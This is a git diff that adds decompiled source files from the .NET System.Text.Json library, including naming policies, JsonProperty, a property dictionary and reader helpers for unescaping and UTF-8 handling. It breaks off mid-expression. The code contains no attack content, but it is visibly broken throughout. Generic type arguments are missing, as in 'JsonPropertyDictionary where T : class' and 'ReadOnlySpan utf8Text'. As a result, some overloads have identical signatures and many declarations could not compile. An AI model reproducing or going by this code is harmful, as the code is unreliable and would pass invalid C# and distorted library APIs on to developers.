a/decompiled/Libraries/system.text.json/System.Text.Json/JsonKebabCaseLowerNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonKebabCaseLowerNamingPolicy.cs new file mode 100644 index 0000000..9f7557a --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonKebabCaseLowerNamingPolicy.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json; + +internal sealed class JsonKebabCaseLowerNamingPolicy : JsonSeparatorNamingPolicy +{ + public JsonKebabCaseLowerNamingPolicy() + : base(lowercase: true, '-') + { + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonKebabCaseUpperNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonKebabCaseUpperNamingPolicy.cs new file mode 100644 index 0000000..594f991 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonKebabCaseUpperNamingPolicy.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json; + +internal sealed class JsonKebabCaseUpperNamingPolicy : JsonSeparatorNamingPolicy +{ + public JsonKebabCaseUpperNamingPolicy() + : base(lowercase: false, '-') + { + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonNamingPolicy.cs new file mode 100644 index 0000000..205eccc --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonNamingPolicy.cs @@ -0,0 +1,16 @@ +namespace System.Text.Json; + +public abstract class JsonNamingPolicy +{ + public static JsonNamingPolicy CamelCase { get; } = new JsonCamelCaseNamingPolicy(); + + public static JsonNamingPolicy SnakeCaseLower { get; } = new JsonSnakeCaseLowerNamingPolicy(); + + public static JsonNamingPolicy SnakeCaseUpper { get; } = new JsonSnakeCaseUpperNamingPolicy(); + + public static JsonNamingPolicy KebabCaseLower { get; } = new JsonKebabCaseLowerNamingPolicy(); + + public static JsonNamingPolicy KebabCaseUpper { get; } = new JsonKebabCaseUpperNamingPolicy(); + + public abstract string ConvertName(string name); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonProperty.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonProperty.cs new file mode 100644 index 0000000..28d5782 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonProperty.cs @@ -0,0 +1,67 @@ +using System.Diagnostics; + +namespace System.Text.Json; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public readonly struct JsonProperty +{ + public JsonElement Value { get; } + + private string? _name { get; } + + public string Name => _name ?? Value.GetPropertyName(); + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay + { + get + { + if (Value.ValueKind != JsonValueKind.Undefined) + { + return "\"" + ToString() + "\""; + } + return ""; + } + } + + internal JsonProperty(JsonElement value, string name = null) + { + Value = value; + _name = name; + } + + public bool NameEquals(string? text) + { + return NameEquals(text.AsSpan()); + } + + public bool NameEquals(ReadOnlySpan utf8Text) + { + return Value.TextEqualsHelper(utf8Text, isPropertyName: true, shouldUnescape: true); + } + + public bool NameEquals(ReadOnlySpan text) + { + return Value.TextEqualsHelper(text, isPropertyName: true); + } + + internal bool EscapedNameEquals(ReadOnlySpan utf8Text) + { + return Value.TextEqualsHelper(utf8Text, isPropertyName: true, shouldUnescape: false); + } + + public void WriteTo(Utf8JsonWriter writer) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + writer.WritePropertyName(Name); + Value.WriteTo(writer); + } + + public override string ToString() + { + return Value.GetPropertyRawText(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonPropertyDictionary.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonPropertyDictionary.cs new file mode 100644 index 0000000..48e0ddc --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonPropertyDictionary.cs @@ -0,0 +1,560 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json; + +internal sealed class JsonPropertyDictionary where T : class +{ + private sealed class KeyCollection : IList, ICollection, IEnumerable, IEnumerable + { + private readonly JsonPropertyDictionary _parent; + + public int Count => _parent.Count; + + public bool IsReadOnly => true; + + public string this[int index] + { + get + { + return _parent.List[index].Key; + } + set + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + } + + public KeyCollection(JsonPropertyDictionary jsonObject) + { + _parent = jsonObject; + } + + IEnumerator IEnumerable.GetEnumerator() + { + foreach (KeyValuePair item in _parent) + { + yield return item.Key; + } + } + + public void Add(string propertyName) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + + public void Clear() + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + + public bool Contains(string propertyName) + { + return _parent.ContainsProperty(propertyName); + } + + public void CopyTo(string[] propertyNameArray, int index) + { + if (index < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_ArrayIndexNegative("index"); + } + foreach (KeyValuePair item in _parent) + { + if (index >= propertyNameArray.Length) + { + ThrowHelper.ThrowArgumentException_ArrayTooSmall("propertyNameArray"); + } + propertyNameArray[index++] = item.Key; + } + } + + public IEnumerator GetEnumerator() + { + foreach (KeyValuePair item in _parent) + { + yield return item.Key; + } + } + + bool ICollection.Remove(string propertyName) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + + public int IndexOf(string item) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + + public void Insert(int index, string item) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + + public void RemoveAt(int index) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + } + + private sealed class ValueCollection : IList, ICollection, IEnumerable, IEnumerable + { + private readonly JsonPropertyDictionary _parent; + + public int Count => _parent.Count; + + public bool IsReadOnly => true; + + public T this[int index] + { + get + { + return _parent.List[index].Value; + } + set + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + } + + public ValueCollection(JsonPropertyDictionary jsonObject) + { + _parent = jsonObject; + } + + IEnumerator IEnumerable.GetEnumerator() + { + foreach (KeyValuePair item in _parent) + { + yield return item.Value; + } + } + + public void Add(T jsonNode) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + + public void Clear() + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + + public bool Contains(T jsonNode) + { + return _parent.ContainsValue(jsonNode); + } + + public void CopyTo(T[] nodeArray, int index) + { + if (index < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_ArrayIndexNegative("index"); + } + foreach (KeyValuePair item in _parent) + { + if (index >= nodeArray.Length) + { + ThrowHelper.ThrowArgumentException_ArrayTooSmall("nodeArray"); + } + nodeArray[index++] = item.Value; + } + } + + public IEnumerator GetEnumerator() + { + foreach (KeyValuePair item in _parent) + { + yield return item.Value; + } + } + + bool ICollection.Remove(T node) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + + public int IndexOf(T item) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + + public void Insert(int index, T item) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + + public void RemoveAt(int index) + { + throw ThrowHelper.GetNotSupportedException_CollectionIsReadOnly(); + } + } + + private const int ListToDictionaryThreshold = 9; + + private Dictionary _propertyDictionary; + + private readonly List> _propertyList; + + private readonly StringComparer _stringComparer; + + private KeyCollection _keyCollection; + + private ValueCollection _valueCollection; + + public List> List => _propertyList; + + public int Count => _propertyList.Count; + + public IList Keys => GetKeyCollection(); + + public IList Values => GetValueCollection(); + + public bool IsReadOnly { get; set; } + + public T this[string propertyName] + { + get + { + if (TryGetPropertyValue(propertyName, out var value)) + { + return value; + } + return null; + } + [param: DisallowNull] + set + { + SetValue(propertyName, value, out var _); + } + } + + public JsonPropertyDictionary(bool caseInsensitive) + { + _stringComparer = (caseInsensitive ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal); + _propertyList = new List>(); + } + + public JsonPropertyDictionary(bool caseInsensitive, int capacity) + { + _stringComparer = (caseInsensitive ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal); + _propertyList = new List>(capacity); + } + + public void Add(string propertyName, T value) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + AddValue(propertyName, value); + } + + public void Add(KeyValuePair property) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + Add(property.Key, property.Value); + } + + public bool TryAdd(string propertyName, T value) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + return TryAddValue(propertyName, value); + } + + public void Clear() + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + _propertyList.Clear(); + _propertyDictionary?.Clear(); + } + + public bool ContainsKey(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + return ContainsProperty(propertyName); + } + + public bool Remove(string propertyName) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + T existing; + return TryRemoveProperty(propertyName, out existing); + } + + public bool Contains(KeyValuePair item) + { + using (List>.Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (item.Value == current.Value && _stringComparer.Equals(item.Key, current.Key)) + { + return true; + } + } + } + return false; + } + + public void CopyTo(KeyValuePair[] array, int index) + { + if (index < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_ArrayIndexNegative("index"); + } + foreach (KeyValuePair property in _propertyList) + { + if (index >= array.Length) + { + ThrowHelper.ThrowArgumentException_ArrayTooSmall("array"); + } + array[index++] = property; + } + } + + public List>.Enumerator GetEnumerator() + { + return _propertyList.GetEnumerator(); + } + + public bool TryGetValue(string propertyName, [MaybeNullWhen(false)] out T value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + if (_propertyDictionary != null) + { + return _propertyDictionary.TryGetValue(propertyName, out value); + } + foreach (KeyValuePair property in _propertyList) + { + if (_stringComparer.Equals(propertyName, property.Key)) + { + value = property.Value; + return true; + } + } + value = null; + return false; + } + + public T SetValue(string propertyName, T value, out bool valueAlreadyInDictionary) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + CreateDictionaryIfThresholdMet(); + valueAlreadyInDictionary = false; + T val = null; + if (_propertyDictionary != null) + { + if (JsonHelpers.TryAdd(_propertyDictionary, propertyName, value)) + { + _propertyList.Add(new KeyValuePair(propertyName, value)); + return null; + } + val = _propertyDictionary[propertyName]; + if (val == value) + { + valueAlreadyInDictionary = true; + return null; + } + } + int num = FindValueIndex(propertyName); + if (num >= 0) + { + if (_propertyDictionary != null) + { + _propertyDictionary[propertyName] = value; + } + else + { + KeyValuePair keyValuePair = _propertyList[num]; + if (keyValuePair.Value == value) + { + valueAlreadyInDictionary = true; + return null; + } + val = keyValuePair.Value; + } + _propertyList[num] = new KeyValuePair(propertyName, value); + } + else + { + _propertyDictionary?.Add(propertyName, value); + _propertyList.Add(new KeyValuePair(propertyName, value)); + } + return val; + } + + private void AddValue(string propertyName, T value) + { + if (!TryAddValue(propertyName, value)) + { + ThrowHelper.ThrowArgumentException_DuplicateKey("propertyName", propertyName); + } + } + + internal bool TryAddValue(string propertyName, T value) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + CreateDictionaryIfThresholdMet(); + if (_propertyDictionary == null) + { + if (ContainsProperty(propertyName)) + { + return false; + } + } + else if (!JsonHelpers.TryAdd(_propertyDictionary, propertyName, value)) + { + return false; + } + _propertyList.Add(new KeyValuePair(propertyName, value)); + return true; + } + + private void CreateDictionaryIfThresholdMet() + { + if (_propertyDictionary == null && _propertyList.Count > 9) + { + _propertyDictionary = JsonHelpers.CreateDictionaryFromCollection(_propertyList, _stringComparer); + } + } + + internal bool ContainsValue(T value) + { + foreach (T item in GetValueCollection()) + { + if (item == value) + { + return true; + } + } + return false; + } + + public KeyValuePair? FindValue(T value) + { + using (List>.Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (current.Value == value) + { + return current; + } + } + } + return null; + } + + private bool ContainsProperty(string propertyName) + { + if (_propertyDictionary != null) + { + return _propertyDictionary.ContainsKey(propertyName); + } + foreach (KeyValuePair property in _propertyList) + { + if (_stringComparer.Equals(propertyName, property.Key)) + { + return true; + } + } + return false; + } + + private int FindValueIndex(string propertyName) + { + for (int i = 0; i < _propertyList.Count; i++) + { + KeyValuePair keyValuePair = _propertyList[i]; + if (_stringComparer.Equals(propertyName, keyValuePair.Key)) + { + return i; + } + } + return -1; + } + + public bool TryGetPropertyValue(string propertyName, [MaybeNullWhen(false)] out T value) + { + return TryGetValue(propertyName, out value); + } + + public bool TryRemoveProperty(string propertyName, [MaybeNullWhen(false)] out T existing) + { + if (IsReadOnly) + { + ThrowHelper.ThrowNotSupportedException_CollectionIsReadOnly(); + } + if (_propertyDictionary != null) + { + if (!_propertyDictionary.TryGetValue(propertyName, out existing)) + { + return false; + } + bool flag = _propertyDictionary.Remove(propertyName); + } + for (int i = 0; i < _propertyList.Count; i++) + { + KeyValuePair keyValuePair = _propertyList[i]; + if (_stringComparer.Equals(keyValuePair.Key, propertyName)) + { + _propertyList.RemoveAt(i); + existing = keyValuePair.Value; + return true; + } + } + existing = null; + return false; + } + + public IList GetKeyCollection() + { + return _keyCollection ?? (_keyCollection = new KeyCollection(this)); + } + + public IList GetValueCollection() + { + return _valueCollection ?? (_valueCollection = new ValueCollection(this)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderException.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderException.cs new file mode 100644 index 0000000..de2e71e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderException.cs @@ -0,0 +1,17 @@ +using System.Runtime.Serialization; + +namespace System.Text.Json; + +[Serializable] +internal sealed class JsonReaderException : JsonException +{ + public JsonReaderException(string message, long lineNumber, long bytePositionInLine) + : base(message, null, lineNumber, bytePositionInLine) + { + } + + private JsonReaderException(SerializationInfo info, StreamingContext context) + : base(info, context) + { + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderHelper.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderHelper.cs new file mode 100644 index 0000000..2f2a2c5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderHelper.cs @@ -0,0 +1,775 @@ +using System.Buffers; +using System.Buffers.Text; +using System.Diagnostics.CodeAnalysis; +using System.Numerics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Text.Json; + +internal static class JsonReaderHelper +{ + private const string SpecialCharacters = ". '/\"[]()\t\n\r\f\b\\\u0085\u2028\u2029"; + + public static readonly UTF8Encoding s_utf8Encoding = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true); + + private const ulong XorPowerOfTwoToHighByte = 283686952306184uL; + + public static bool ContainsSpecialCharacters(this ReadOnlySpan text) + { + return text.IndexOfAny(". '/\"[]()\t\n\r\f\b\\\u0085\u2028\u2029".AsSpan()) >= 0; + } + + public static (int, int) CountNewLines(ReadOnlySpan data) + { + int num = data.LastIndexOf((byte)10); + int num2 = 0; + if (num >= 0) + { + num2 = 1; + data = data.Slice(0, num); + int num3; + while ((num3 = data.IndexOf((byte)10)) >= 0) + { + num2++; + data = data.Slice(num3 + 1); + } + } + return (num2, num); + } + + internal static JsonValueKind ToValueKind(this JsonTokenType tokenType) + { + switch (tokenType) + { + case JsonTokenType.None: + return JsonValueKind.Undefined; + case JsonTokenType.StartArray: + return JsonValueKind.Array; + case JsonTokenType.StartObject: + return JsonValueKind.Object; + case JsonTokenType.String: + case JsonTokenType.Number: + case JsonTokenType.True: + case JsonTokenType.False: + case JsonTokenType.Null: + return (JsonValueKind)(tokenType - 4); + default: + return JsonValueKind.Undefined; + } + } + + public static bool IsTokenTypePrimitive(JsonTokenType tokenType) + { + return (int)(tokenType - 7) <= 4; + } + + public static bool IsHexDigit(byte nextByte) + { + return System.HexConverter.IsHexChar(nextByte); + } + + public static bool TryGetEscapedDateTime(ReadOnlySpan source, out DateTime value) + { + Span span = stackalloc byte[252]; + Unescape(source, span, out var written); + span = span.Slice(0, written); + if (JsonHelpers.IsValidUnescapedDateTimeOffsetParseLength(span.Length) && JsonHelpers.TryParseAsISO((ReadOnlySpan)span, out DateTime value2)) + { + value = value2; + return true; + } + value = default(DateTime); + return false; + } + + public static bool TryGetEscapedDateTimeOffset(ReadOnlySpan source, out DateTimeOffset value) + { + Span span = stackalloc byte[252]; + Unescape(source, span, out var written); + span = span.Slice(0, written); + if (JsonHelpers.IsValidUnescapedDateTimeOffsetParseLength(span.Length) && JsonHelpers.TryParseAsISO((ReadOnlySpan)span, out DateTimeOffset value2)) + { + value = value2; + return true; + } + value = default(DateTimeOffset); + return false; + } + + public static bool TryGetEscapedGuid(ReadOnlySpan source, out Guid value) + { + Span span = stackalloc byte[216]; + Unescape(source, span, out var written); + span = span.Slice(0, written); + if (span.Length == 36 && Utf8Parser.TryParse((ReadOnlySpan)span, out Guid value2, out int _, 'D')) + { + value = value2; + return true; + } + value = default(Guid); + return false; + } + + public static bool TryGetFloatingPointConstant(ReadOnlySpan span, out float value) + { + if (span.Length == 3) + { + if (span.SequenceEqual(JsonConstants.NaNValue)) + { + value = float.NaN; + return true; + } + } + else if (span.Length == 8) + { + if (span.SequenceEqual(JsonConstants.PositiveInfinityValue)) + { + value = float.PositiveInfinity; + return true; + } + } + else if (span.Length == 9 && span.SequenceEqual(JsonConstants.NegativeInfinityValue)) + { + value = float.NegativeInfinity; + return true; + } + value = 0f; + return false; + } + + public static bool TryGetFloatingPointConstant(ReadOnlySpan span, out double value) + { + if (span.Length == 3) + { + if (span.SequenceEqual(JsonConstants.NaNValue)) + { + value = double.NaN; + return true; + } + } + else if (span.Length == 8) + { + if (span.SequenceEqual(JsonConstants.PositiveInfinityValue)) + { + value = double.PositiveInfinity; + return true; + } + } + else if (span.Length == 9 && span.SequenceEqual(JsonConstants.NegativeInfinityValue)) + { + value = double.NegativeInfinity; + return true; + } + value = 0.0; + return false; + } + + public static bool TryGetUnescapedBase64Bytes(ReadOnlySpan utf8Source, [NotNullWhen(true)] out byte[] bytes) + { + byte[] array = null; + Span span = ((utf8Source.Length > 256) ? ((Span)(array = ArrayPool.Shared.Rent(utf8Source.Length))) : stackalloc byte[256]); + Span span2 = span; + Unescape(utf8Source, span2, out var written); + span2 = span2.Slice(0, written); + bool result = TryDecodeBase64InPlace(span2, out bytes); + if (array != null) + { + span2.Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + public static string GetUnescapedString(ReadOnlySpan utf8Source) + { + int length = utf8Source.Length; + byte[] array = null; + Span span = ((length > 256) ? ((Span)(array = ArrayPool.Shared.Rent(length))) : stackalloc byte[256]); + Span span2 = span; + Unescape(utf8Source, span2, out var written); + span2 = span2.Slice(0, written); + string result = TranscodeHelper(span2); + if (array != null) + { + span2.Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + public static ReadOnlySpan GetUnescapedSpan(ReadOnlySpan utf8Source) + { + int length = utf8Source.Length; + byte[] array = null; + Span span = ((length > 256) ? ((Span)(array = ArrayPool.Shared.Rent(length))) : stackalloc byte[256]); + Span destination = span; + Unescape(utf8Source, destination, out var written); + ReadOnlySpan result = destination.Slice(0, written).ToArray(); + if (array != null) + { + new Span(array, 0, written).Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + public static bool UnescapeAndCompare(ReadOnlySpan utf8Source, ReadOnlySpan other) + { + byte[] array = null; + Span span = ((utf8Source.Length > 256) ? ((Span)(array = ArrayPool.Shared.Rent(utf8Source.Length))) : stackalloc byte[256]); + Span span2 = span; + Unescape(utf8Source, span2, 0, out var written); + span2 = span2.Slice(0, written); + bool result = other.SequenceEqual(span2); + if (array != null) + { + span2.Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + public static bool UnescapeAndCompare(ReadOnlySequence utf8Source, ReadOnlySpan other) + { + byte[] array = null; + byte[] array2 = null; + int num = checked((int)utf8Source.Length); + Span span = ((num > 256) ? ((Span)(array2 = ArrayPool.Shared.Rent(num))) : stackalloc byte[256]); + Span span2 = span; + Span span3 = ((num > 256) ? ((Span)(array = ArrayPool.Shared.Rent(num))) : stackalloc byte[256]); + Span span4 = span3; + utf8Source.CopyTo(span4); + span4 = span4.Slice(0, num); + Unescape(span4, span2, 0, out var written); + span2 = span2.Slice(0, written); + bool result = other.SequenceEqual(span2); + if (array2 != null) + { + span2.Clear(); + ArrayPool.Shared.Return(array2); + span4.Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + public static bool TryDecodeBase64InPlace(Span utf8Unescaped, [NotNullWhen(true)] out byte[] bytes) + { + if (Base64.DecodeFromUtf8InPlace(utf8Unescaped, out var bytesWritten) != OperationStatus.Done) + { + bytes = null; + return false; + } + bytes = utf8Unescaped.Slice(0, bytesWritten).ToArray(); + return true; + } + + public static bool TryDecodeBase64(ReadOnlySpan utf8Unescaped, [NotNullWhen(true)] out byte[] bytes) + { + byte[] array = null; + Span span = ((utf8Unescaped.Length > 256) ? ((Span)(array = ArrayPool.Shared.Rent(utf8Unescaped.Length))) : stackalloc byte[256]); + Span bytes2 = span; + if (Base64.DecodeFromUtf8(utf8Unescaped, bytes2, out var _, out var bytesWritten) != OperationStatus.Done) + { + bytes = null; + if (array != null) + { + bytes2.Clear(); + ArrayPool.Shared.Return(array); + } + return false; + } + bytes = bytes2.Slice(0, bytesWritten).ToArray(); + if (array != null) + { + bytes2.Clear(); + ArrayPool.Shared.Return(array); + } + return true; + } + + public unsafe static string TranscodeHelper(ReadOnlySpan utf8Unescaped) + { + try + { + if (utf8Unescaped.IsEmpty) + { + return string.Empty; + } + fixed (byte* bytes = utf8Unescaped) + { + return s_utf8Encoding.GetString(bytes, utf8Unescaped.Length); + } + } + catch (DecoderFallbackException innerException) + { + throw ThrowHelper.GetInvalidOperationException_ReadInvalidUTF8(innerException); + } + } + + public unsafe static int TranscodeHelper(ReadOnlySpan utf8Unescaped, Span destination) + { + try + { + if (utf8Unescaped.IsEmpty) + { + return 0; + } + fixed (byte* bytes = utf8Unescaped) + { + fixed (char* chars = destination) + { + return s_utf8Encoding.GetChars(bytes, utf8Unescaped.Length, chars, destination.Length); + } + } + } + catch (DecoderFallbackException innerException) + { + throw ThrowHelper.GetInvalidOperationException_ReadInvalidUTF8(innerException); + } + catch (ArgumentException) + { + destination.Clear(); + throw; + } + } + + public unsafe static void ValidateUtf8(ReadOnlySpan utf8Buffer) + { + try + { + if (utf8Buffer.IsEmpty) + { + return; + } + fixed (byte* bytes = utf8Buffer) + { + s_utf8Encoding.GetCharCount(bytes, utf8Buffer.Length); + } + } + catch (DecoderFallbackException innerException) + { + throw ThrowHelper.GetInvalidOperationException_ReadInvalidUTF8(innerException); + } + } + + internal unsafe static int GetUtf8ByteCount(ReadOnlySpan text) + { + try + { + if (text.IsEmpty) + { + return 0; + } + fixed (char* chars = text) + { + return s_utf8Encoding.GetByteCount(chars, text.Length); + } + } + catch (EncoderFallbackException innerException) + { + throw ThrowHelper.GetArgumentException_ReadInvalidUTF16(innerException); + } + } + + internal unsafe static int GetUtf8FromText(ReadOnlySpan text, Span dest) + { + try + { + if (text.IsEmpty) + { + return 0; + } + fixed (char* chars = text) + { + fixed (byte* bytes = dest) + { + return s_utf8Encoding.GetBytes(chars, text.Length, bytes, dest.Length); + } + } + } + catch (EncoderFallbackException innerException) + { + throw ThrowHelper.GetArgumentException_ReadInvalidUTF16(innerException); + } + } + + internal unsafe static string GetTextFromUtf8(ReadOnlySpan utf8Text) + { + if (utf8Text.IsEmpty) + { + return string.Empty; + } + fixed (byte* bytes = utf8Text) + { + return s_utf8Encoding.GetString(bytes, utf8Text.Length); + } + } + + internal static void Unescape(ReadOnlySpan source, Span destination, out int written) + { + int idx = source.IndexOf((byte)92); + bool flag = TryUnescape(source, destination, idx, out written); + } + + internal static void Unescape(ReadOnlySpan source, Span destination, int idx, out int written) + { + bool flag = TryUnescape(source, destination, idx, out written); + } + + internal static bool TryUnescape(ReadOnlySpan source, Span destination, out int written) + { + int idx = source.IndexOf((byte)92); + return TryUnescape(source, destination, idx, out written); + } + + private static bool TryUnescape(ReadOnlySpan source, Span destination, int idx, out int written) + { + if (!source.Slice(0, idx).TryCopyTo(destination)) + { + written = 0; + } + else + { + written = idx; + while (written != destination.Length) + { + byte b = source[++idx]; + if ((uint)b <= 98u) + { + if ((uint)b <= 47u) + { + if (b != 34) + { + if (b != 47) + { + goto IL_0179; + } + destination[written++] = 47; + } + else + { + destination[written++] = 34; + } + } + else if (b != 92) + { + if (b != 98) + { + goto IL_0179; + } + destination[written++] = 8; + } + else + { + destination[written++] = 92; + } + } + else if ((uint)b <= 110u) + { + if (b != 102) + { + if (b != 110) + { + goto IL_0179; + } + destination[written++] = 10; + } + else + { + destination[written++] = 12; + } + } + else if (b != 114) + { + if (b != 116) + { + goto IL_0179; + } + destination[written++] = 9; + } + else + { + destination[written++] = 13; + } + goto IL_025b; + IL_025b: + if (++idx != source.Length) + { + if (source[idx] == 92) + { + continue; + } + ReadOnlySpan span = source.Slice(idx); + int num = span.IndexOf((byte)92); + if (num < 0) + { + num = span.Length; + } + if ((uint)(written + num) >= (uint)destination.Length) + { + break; + } + switch (num) + { + case 1: + destination[written++] = source[idx++]; + break; + case 2: + destination[written++] = source[idx++]; + destination[written++] = source[idx++]; + break; + case 3: + destination[written++] = source[idx++]; + destination[written++] = source[idx++]; + destination[written++] = source[idx++]; + break; + default: + span.Slice(0, num).CopyTo(destination.Slice(written)); + written += num; + idx += num; + break; + } + if (idx != source.Length) + { + continue; + } + } + return true; + IL_0179: + bool flag = Utf8Parser.TryParse(source.Slice(idx + 1, 4), out int value, out int bytesConsumed, 'x'); + idx += 4; + if (JsonHelpers.IsInRangeInclusive((uint)value, 55296u, 57343u)) + { + if (value >= 56320) + { + ThrowHelper.ThrowInvalidOperationException_ReadInvalidUTF16(value); + } + if (source.Length < idx + 7 || source[idx + 1] != 92 || source[idx + 2] != 117) + { + ThrowHelper.ThrowInvalidOperationException_ReadIncompleteUTF16(); + } + flag = Utf8Parser.TryParse(source.Slice(idx + 3, 4), out int value2, out bytesConsumed, 'x'); + idx += 6; + if (!JsonHelpers.IsInRangeInclusive((uint)value2, 56320u, 57343u)) + { + ThrowHelper.ThrowInvalidOperationException_ReadInvalidUTF16(value2); + } + value = 1024 * (value - 55296) + (value2 - 56320) + 65536; + } + if (!TryEncodeToUtf8Bytes((uint)value, destination.Slice(written), out var bytesWritten)) + { + break; + } + written += bytesWritten; + goto IL_025b; + } + } + return false; + } + + private static bool TryEncodeToUtf8Bytes(uint scalar, Span utf8Destination, out int bytesWritten) + { + if (scalar < 128) + { + if ((uint)utf8Destination.Length < 1u) + { + bytesWritten = 0; + return false; + } + utf8Destination[0] = (byte)scalar; + bytesWritten = 1; + } + else if (scalar < 2048) + { + if ((uint)utf8Destination.Length < 2u) + { + bytesWritten = 0; + return false; + } + utf8Destination[0] = (byte)(0xC0 | (scalar >> 6)); + utf8Destination[1] = (byte)(0x80 | (scalar & 0x3F)); + bytesWritten = 2; + } + else if (scalar < 65536) + { + if ((uint)utf8Destination.Length < 3u) + { + bytesWritten = 0; + return false; + } + utf8Destination[0] = (byte)(0xE0 | (scalar >> 12)); + utf8Destination[1] = (byte)(0x80 | ((scalar >> 6) & 0x3F)); + utf8Destination[2] = (byte)(0x80 | (scalar & 0x3F)); + bytesWritten = 3; + } + else + { + if ((uint)utf8Destination.Length < 4u) + { + bytesWritten = 0; + return false; + } + utf8Destination[0] = (byte)(0xF0 | (scalar >> 18)); + utf8Destination[1] = (byte)(0x80 | ((scalar >> 12) & 0x3F)); + utf8Destination[2] = (byte)(0x80 | ((scalar >> 6) & 0x3F)); + utf8Destination[3] = (byte)(0x80 | (scalar & 0x3F)); + bytesWritten = 4; + } + return true; + } + + public unsafe static int IndexOfQuoteOrAnyControlOrBackSlash(this ReadOnlySpan span) + { + ref byte reference = ref MemoryMarshal.GetReference(span); + int length = span.Length; + IntPtr intPtr = (IntPtr)0; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in reference) & (Vector.Count - 1); + intPtr2 = (IntPtr)((Vector.Count - num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + uint num2 = Unsafe.AddByteOffset(ref reference, intPtr); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03b2; + } + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 1); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03ba; + } + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 2); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03c8; + } + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 3); + if (34 != num2 && 92 != num2 && 32 